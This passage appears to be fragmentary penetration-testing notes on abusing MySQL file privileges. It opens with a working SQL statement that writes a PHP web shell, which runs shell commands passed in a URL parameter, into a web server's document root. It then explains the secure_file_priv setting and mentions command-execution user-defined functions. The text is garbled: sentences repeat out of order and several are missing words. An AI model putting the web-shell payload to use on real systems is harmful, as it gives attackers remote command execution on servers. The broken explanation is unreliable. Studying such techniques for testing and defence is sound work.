SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';
secure_file_priv may be set as follows
If empty, the variable has no effect, which is not a secure setting.
If set to the name of a directory, the server limits import and export operations to work only with files in that directory. The directory must exist; the server does not create it.
If set to NULL, the server disables import and export operations.
In the following example, we can see the secure_file_priv variable is empty, which means we can read and write data using MySQL:
MySQL - Secure File Privileges
show variables like "secure_file_priv";
User Defined Functions
It is not common to encounter a user-defined function like this in a production environment, but we should be aware that we may be able to use it.
In MySQL, a global system variable limits the effect of data import and export operations, such as those performed by the LOAD DATA and SELECT … INTO OUTFILE statements and the function. These operations are permitted only to users who have the privilege.
MySQL supports which allows us to execute C/C++ code as a function within SQL
there's one User Defined Function for command execution in this .